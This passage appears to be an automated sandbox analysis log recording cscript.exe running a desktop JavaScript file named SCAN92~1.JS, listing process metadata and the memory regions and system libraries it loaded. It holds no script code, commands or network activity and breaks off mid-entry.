# Flog Txt Version 1
# Analyzer Version: 2.3.0
# Analyzer Build Date: Apr 12 2018 14:32:59
# Log Creation Date: 23.05.2018 13:36:43.732
Process:
id = "1"
image_name = "cscript.exe"
filename = "c:\\windows\\system32\\cscript.exe"
page_root = "0x3162a000"
os_pid = "0xaa0"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "analysis_target"
parent_id = "0"
os_parent_pid = "0x0"
cmd_line = "\"C:\\Windows\\System32\\CScript.exe\" \"C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS\" "
cur_dir = "C:\\Windows\\system32\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 2
start_va = 0x30000
end_va = 0x33fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 3
start_va = 0x150000
end_va = 0x24ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000150000"
filename = ""
Region:
id = 4
start_va = 0x77c50000
end_va = 0x77df8fff
entry_point = 0x77c50000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 5
start_va = 0x7efe0000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007efe0000"
filename = ""
Region:
id = 6
start_va = 0x7ffe0000
end_va = 0x7ffeffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 7
start_va = 0xffc00000
end_va = 0xffc28fff
entry_point = 0xffc00000
region_type = mapped_file
name = "cscript.exe"
filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")
Region:
id = 8
start_va = 0x7fefff70000
end_va = 0x7fefff70fff
entry_point = 0x7fefff70000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 9
start_va = 0x7fffffb0000
end_va = 0x7fffffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000007fffffb0000"
filename = ""
Region:
id = 10
start_va = 0x7fffffdd000
end_va = 0x7fffffdefff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffdd000"
filename = ""
Region:
id = 11
start_va = 0x7fffffdf000
end_va = 0x7fffffdffff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffdf000"
filename = ""
Region:
id = 146
start_va = 0x2d0000
end_va = 0x3cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000002d0000"
filename = ""
Region:
id = 147
start_va = 0x77a30000
end_va = 0x77b4efff
entry_point = 0x77a30000
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 148
start_va = 0x7fefde60000
end_va = 0x7fefdecafff
entry_point = 0x7fefde60000
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 149
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 150
start_va = 0x20000
end_va = 0x2ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 151
start_va = 0x40000
end_va = 0xa6fff
entry_point = 0x40000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 152
start_va = 0x77b50000
end_va = 0x77c49fff
entry_point = 0x77b50000
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 153
start_va = 0x7efe0000
end_va = 0x7f0dffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007efe0000"
filename = ""
Region:
id = 154
start_va = 0x7f0e0000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007f0e0000"
filename = ""
Region:
id = 155
start_va = 0x7fefcd60000
end_va = 0x7fefcd6bfff
entry_point = 0x7fefcd60000
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")
Region:
id = 156
start_va = 0x7fefdf70000
end_va = 0x7fefe172fff
entry_point = 0x7fefdf70000
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 157
start_va = 0x7fefefb0000
end_va = 0x7feff0dcfff
entry_point = 0x7fefefb0000
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 158
start_va = 0x7feff210000
end_va = 0x7feff2aefff
entry_point = 0x7feff210000
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 159
start_va = 0x7feff2b0000
end_va = 0x7feff38afff
entry_point = 0x7feff2b0000
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 160
start_va = 0x7feff390000
end_va = 0x7feff3aefff
entry_point = 0x7feff390000
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 161
start_va = 0x7feff3b0000
end_va = 0x7feff3bdfff
entry_point = 0x7feff3b0000
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 162
start_va = 0x7feff910000
end_va = 0x7feff976fff
entry_point = 0x7feff910000
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 163
start_va = 0x7feffb10000
end_va = 0x7feffbe6fff
entry_point = 0x7feffb10000
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 164
start_va = 0x7feffe90000
end_va = 0x7fefff58fff
entry_point = 0x7feffe90000
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 165
start_va = 0x3d0000
end_va = 0x4cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000003d0000"
filename = ""
Region:
id = 166
start_va = 0x500000
end_va = 0x50ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000500000"
filename = ""
Region:
id = 167
start_va = 0x510000
end_va = 0x697fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000510000"
filename = ""
Region:
id = 168
start_va = 0x7feff3c0000
end_va = 0x7feff3edfff
entry_point = 0x7feff3c0000
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 169
start_va = 0x7feffa00000
end_va = 0x7feffb08fff
entry_point = 0x7feffa00000
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 170
start_va = 0xb0000
end_va = 0xb6fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000b0000"
filename = ""
Region:
id = 171
start_va = 0xc0000
end_va = 0xc1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000c0000"
filename = ""
Region:
id = 172
start_va = 0xd0000
end_va = 0xd2fff
entry_point = 0xd0000
region_type = mapped_file
name = "cscript.exe.mui"
filename = "\\Windows\\System32\\en-US\\cscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cscript.exe.mui")
Region:
id = 173
start_va = 0xe0000
end_va = 0xe0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000e0000"
filename = ""
Region:
id = 174
start_va = 0xf0000
end_va = 0xf0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000f0000"
filename = ""
Region:
id = 175
start_va = 0x6a0000
end_va = 0x820fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000006a0000"
filename = ""
Region:
id = 176
start_va = 0x830000
end_va = 0x1c2ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000830000"
filename = ""
Region:
id = 177
start_va = 0x250000
end_va = 0x2ccfff
entry_point = 0x250000
region_type = mapped_file
name = "rpcss.dll"
filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")
Region:
id = 178
start_va = 0x250000
end_va = 0x2ccfff
entry_point = 0x250000
region_type = mapped_file
name = "rpcss.dll"
filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")
Region:
id = 179
start_va = 0x7fefda90000
end_va = 0x7fefda9efff
entry_point = 0x7fefda90000
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 180
start_va = 0x7fefc4c0000
end_va = 0x7fefc515fff
entry_point = 0x7fefc4c0000
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 181
start_va = 0x1c30000
end_va = 0x1dcffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001c30000"
filename = ""
Region:
id = 182
start_va = 0x1c30000
end_va = 0x1d0efff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001c30000"
filename = ""
Region:
id = 183
start_va = 0x1d50000
end_va = 0x1dcffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d50000"
filename = ""
Region:
id = 184
start_va = 0x1fb0000
end_va = 0x20affff
entry_point = 0x0
region_type = private
name = "private_0x0000000001fb0000"
filename = ""
Region:
id = 185
start_va = 0x7fffffdb000
end_va = 0x7fffffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffdb000"
filename = ""
Region:
id = 186
start_va = 0x20b0000
end_va = 0x237efff
entry_point = 0x20b0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 187
start_va = 0x100000
end_va = 0x113fff
entry_point = 0x100000
region_type = mapped_file
name = "cscript.exe"
filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")
Region:
id = 188
start_va = 0x7fefdaa0000
end_va = 0x7fefdb30fff
entry_point = 0x7fefdaa0000
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")
Region:
id = 189
start_va = 0x1df0000
end_va = 0x1eeffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001df0000"
filename = ""
Region:
id = 190
start_va = 0x7fffffd9000
end_va = 0x7fffffdafff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffd9000"
filename = ""
Region:
id = 191
start_va = 0x7fefc090000
end_va = 0x7fefc0a7fff
entry_point = 0x7fefc090000
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")
Region:
id = 192
start_va = 0x120000
end_va = 0x120fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000120000"
filename = ""
Region:
id = 193
start_va = 0x7fefef10000
end_va = 0x7fefefa8fff
entry_point = 0x7fefef10000
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 194
start_va = 0x130000
end_va = 0x130fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 195
start_va = 0x7fef36d0000
end_va = 0x7fef37b2fff
entry_point = 0x7fef36d0000
region_type = mapped_file
name = "jscript.dll"
filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll")
Region:
id = 196
start_va = 0x7feff980000
end_va = 0x7feff9f0fff
entry_point = 0x7feff980000
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 197
start_va = 0x2380000
end_va = 0x24b9fff
entry_point = 0x2380000
region_type = mapped_file
name = "scan92~1.js"
filename = "\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js")
Region:
id = 198
start_va = 0x24c0000
end_va = 0x2733fff
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 199
start_va = 0x7fefdc50000
end_va = 0x7fefdc89fff
entry_point = 0x7fefdc50000
region_type = mapped_file
name = "wintrust.dll"
filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")
Region:
id = 200
start_va = 0x7fefdcb0000
end_va = 0x7fefde16fff
entry_point = 0x7fefdcb0000
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 201
start_va = 0x7fefdc40000
end_va = 0x7fefdc4efff
entry_point = 0x7fefdc40000
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 202
start_va = 0x7fefd490000
end_va = 0x7fefd4a6fff
entry_point = 0x7fefd490000
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 203
start_va = 0x250000
end_va = 0x294fff
entry_point = 0x250000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 204
start_va = 0x250000
end_va = 0x294fff
entry_point = 0x250000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 205
start_va = 0x250000
end_va = 0x294fff
entry_point = 0x250000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 206
start_va = 0x250000
end_va = 0x294fff
entry_point = 0x250000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 207
start_va = 0x250000
end_va = 0x294fff
entry_point = 0x250000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 208
start_va = 0x7fefd190000
end_va = 0x7fefd1d6fff
entry_point = 0x7fefd190000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 209
start_va = 0x2380000
end_va = 0x24b9fff
entry_point = 0x2380000
region_type = mapped_file
name = "scan92~1.js"
filename = "\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js")
Region:
id = 210
start_va = 0x2810000
end_va = 0x290ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002810000"
filename = ""
Region:
id = 211
start_va = 0x7fffffd7000
end_va = 0x7fffffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffd7000"
filename = ""
Region:
id = 212
start_va = 0x7fef8390000
end_va = 0x7fef839afff
entry_point = 0x7fef8390000
region_type = mapped_file
name = "msisip.dll"
filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll")
Region:
id = 213
start_va = 0x2910000
end_va = 0x390ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002910000"
filename = ""
Region:
id = 214
start_va = 0x3910000
end_va = 0x3a49fff
entry_point = 0x3910000
region_type = mapped_file
name = "scan92~1.js"
filename = "\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js")
Region:
id = 215
start_va = 0x39f0000
end_va = 0x3aeffff
entry_point = 0x0
region_type = private
name = "private_0x00000000039f0000"
filename = ""
Region:
id = 216
start_va = 0x7fef42f0000
end_va = 0x7fef430cfff
entry_point = 0x7fef42f0000
region_type = mapped_file
name = "wshext.dll"
filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll")
Region:
id = 217
start_va = 0x7fffffd5000
end_va = 0x7fffffd6fff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffd5000"
filename = ""
Region:
id = 218
start_va = 0x7fef37c0000
end_va = 0x7fef385ffff
entry_point = 0x7fef37c0000
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")
Region:
id = 219
start_va = 0x7feffdd0000
end_va = 0x7feffe66fff
entry_point = 0x7feffdd0000
region_type = mapped_file
name = "comdlg32.dll"
filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll")
Region:
id = 220
start_va = 0x7fefe180000
end_va = 0x7fefef07fff
entry_point = 0x7fefe180000
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 221
start_va = 0x1ef0000
end_va = 0x1f8ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ef0000"
filename = ""
Region:
id = 222
start_va = 0x3af0000
end_va = 0x3beffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003af0000"
filename = ""
Region:
id = 223
start_va = 0x2380000
end_va = 0x24b9fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002380000"
filename = ""
Region:
id = 224
start_va = 0x7fef4100000
end_va = 0x7fef413bfff
entry_point = 0x7fef4100000
region_type = mapped_file
name = "scrobj.dll"
filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll")
Region:
id = 225
start_va = 0x3bf0000
end_va = 0x3e63fff
entry_point = 0x0
region_type = private
name = "private_0x0000000003bf0000"
filename = ""
Region:
id = 226
start_va = 0x3e70000
end_va = 0x40e3fff
entry_point = 0x0
region_type = private
name = "private_0x0000000003e70000"
filename = ""
Region:
id = 227
start_va = 0x140000
end_va = 0x14ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000140000"
filename = ""
Region:
id = 228
start_va = 0x3bf0000
end_va = 0x3e63fff
entry_point = 0x0
region_type = private
name = "private_0x0000000003bf0000"
filename = ""
Region:
id = 229
start_va = 0x3e70000
end_va = 0x421ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003e70000"
filename = ""
Region:
id = 230
start_va = 0x4220000
end_va = 0x441ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004220000"
filename = ""
Region:
id = 231
start_va = 0x2380000
end_va = 0x2480fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002380000"
filename = ""
Region:
id = 232
start_va = 0x4420000
end_va = 0x481ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004420000"
filename = ""
Region:
id = 233
start_va = 0x4820000
end_va = 0x4d03fff
entry_point = 0x0
region_type = private
name = "private_0x0000000004820000"
filename = ""
Region:
id = 234
start_va = 0x4e40000
end_va = 0x4f3ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004e40000"
filename = ""
Region:
id = 235
start_va = 0x7fffffd3000
end_va = 0x7fffffd4fff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffd3000"
filename = ""
Region:
id = 236
start_va = 0x7fefdb80000
end_va = 0x7fefdb93fff
entry_point = 0x7fefdb80000
region_type = mapped_file
name = "rpcrtremote.dll"
filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")
Region:
id = 237
start_va = 0x4f50000
end_va = 0x504ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004f50000"
filename = ""
Region:
id = 238
start_va = 0x5060000
end_va = 0x515ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005060000"
filename = ""
Region:
id = 239
start_va = 0x7fffffac000
end_va = 0x7fffffadfff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffac000"
filename = ""
Region:
id = 240
start_va = 0x7fffffae000
end_va = 0x7fffffaffff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffae000"
filename = ""
Region:
id = 241
start_va = 0x7fef38a0000
end_va = 0x7fef38d3fff
entry_point = 0x7fef38a0000
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")
Region:
id = 242
start_va = 0x250000
end_va = 0x25ffff
entry_point = 0x250000
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")
Region:
id = 243
start_va = 0x7fef3560000
end_va = 0x7fef36cefff
entry_point = 0x7fef3560000
region_type = mapped_file
name = "msado15.dll"
filename = "\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")
Region:
id = 244
start_va = 0x7fef3870000
end_va = 0x7fef3897fff
entry_point = 0x7fef3870000
region_type = mapped_file
name = "msdart.dll"
filename = "\\Windows\\System32\\msdart.dll" (normalized: "c:\\windows\\system32\\msdart.dll")
Region:
id = 245
start_va = 0x2380000
end_va = 0x243ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002380000"
filename = ""
Region:
id = 246
start_va = 0x7fef3380000
end_va = 0x7fef3553fff
entry_point = 0x7fef3380000
region_type = mapped_file
name = "msxml3.dll"
filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")
Region:
id = 247
start_va = 0x5160000
end_va = 0x534ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005160000"
filename = ""
Region:
id = 248
start_va = 0x3910000
end_va = 0x39effff
entry_point = 0x0
region_type = private
name = "private_0x0000000003910000"
filename = ""
Region:
id = 249
start_va = 0x1ef0000
end_va = 0x1f6ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ef0000"
filename = ""
Region:
id = 250
start_va = 0x1f80000
end_va = 0x1f8ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001f80000"
filename = ""
Region:
id = 251
start_va = 0x5350000
end_va = 0x55affff
entry_point = 0x0
region_type = private
name = "private_0x0000000005350000"
filename = ""
Region:
id = 252
start_va = 0x4d10000
end_va = 0x4e0ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004d10000"
filename = ""
Region:
id = 253
start_va = 0x2740000
end_va = 0x27fffff
entry_point = 0x2740000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 254
start_va = 0x55b0000
end_va = 0x59affff
entry_point = 0x0
region_type = private
name = "private_0x00000000055b0000"
filename = ""
Region:
id = 255
start_va = 0x260000
end_va = 0x260fff
entry_point = 0x260000
region_type = mapped_file
name = "msxml3r.dll"
filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")
Region:
id = 256
start_va = 0x270000
end_va = 0x28ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000270000"
filename = ""
Region:
id = 257
start_va = 0x59b0000
end_va = 0x5c18fff
entry_point = 0x0
region_type = private
name = "private_0x00000000059b0000"
filename = ""
Region:
id = 258
start_va = 0x5c20000
end_va = 0x5e88fff
entry_point = 0x0
region_type = private
name = "private_0x0000000005c20000"
filename = ""
Region:
id = 259
start_va = 0x5160000
end_va = 0x5294fff
entry_point = 0x0
region_type = private
name = "private_0x0000000005160000"
filename = ""
Region:
id = 260
start_va = 0x52d0000
end_va = 0x534ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000052d0000"
filename = ""
Region:
id = 261
start_va = 0x5350000
end_va = 0x544ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005350000"
filename = ""
Region:
id = 262
start_va = 0x5530000
end_va = 0x55affff
entry_point = 0x0
region_type = private
name = "private_0x0000000005530000"
filename = ""
Region:
id = 263
start_va = 0x5e90000
end_va = 0x608ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005e90000"
filename = ""
Region:
id = 264
start_va = 0x5160000
end_va = 0x525ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005160000"
filename = ""
Region:
id = 265
start_va = 0x7fef3350000
end_va = 0x7fef3377fff
entry_point = 0x7fef3350000
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")
Region:
id = 266
start_va = 0x7fefaaa0000
end_va = 0x7fefaab7fff
entry_point = 0x7fefaaa0000
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")
Region:
id = 267
start_va = 0x290000
end_va = 0x2a3fff
entry_point = 0x290000
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")
Region:
id = 268
start_va = 0x250000
end_va = 0x250fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000250000"
filename = ""
Region:
id = 269
start_va = 0x6110000
end_va = 0x620ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000006110000"
filename = ""
Region:
id = 270
start_va = 0x7fefc520000
end_va = 0x7fefc64bfff
entry_point = 0x7fefc520000
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 271
start_va = 0x7fffffaa000
end_va = 0x7fffffabfff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffaa000"
filename = ""
Region:
id = 272
start_va = 0x2b0000
end_va = 0x2b1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000002b0000"
filename = ""
Region:
id = 273
start_va = 0x7fefc670000
end_va = 0x7fefc863fff
entry_point = 0x7fefc670000
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")
Region:
id = 274
start_va = 0x4d0000
end_va = 0x4d1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004d0000"
filename = ""
Region:
id = 275
start_va = 0x7fefcb60000
end_va = 0x7fefcb8cfff
entry_point = 0x7fefcb60000
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 276
start_va = 0x7feff730000
end_va = 0x7feff781fff
entry_point = 0x7feff730000
region_type = mapped_file
name = "wldap32.dll"
filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")
Region:
id = 277
start_va = 0x4e0000
end_va = 0x4fefff
entry_point = 0x4e0000
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db"
filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db")
Region:
id = 278
start_va = 0x1d10000
end_va = 0x1d10fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001d10000"
filename = ""
Region:
id = 279
start_va = 0x7fefdba0000
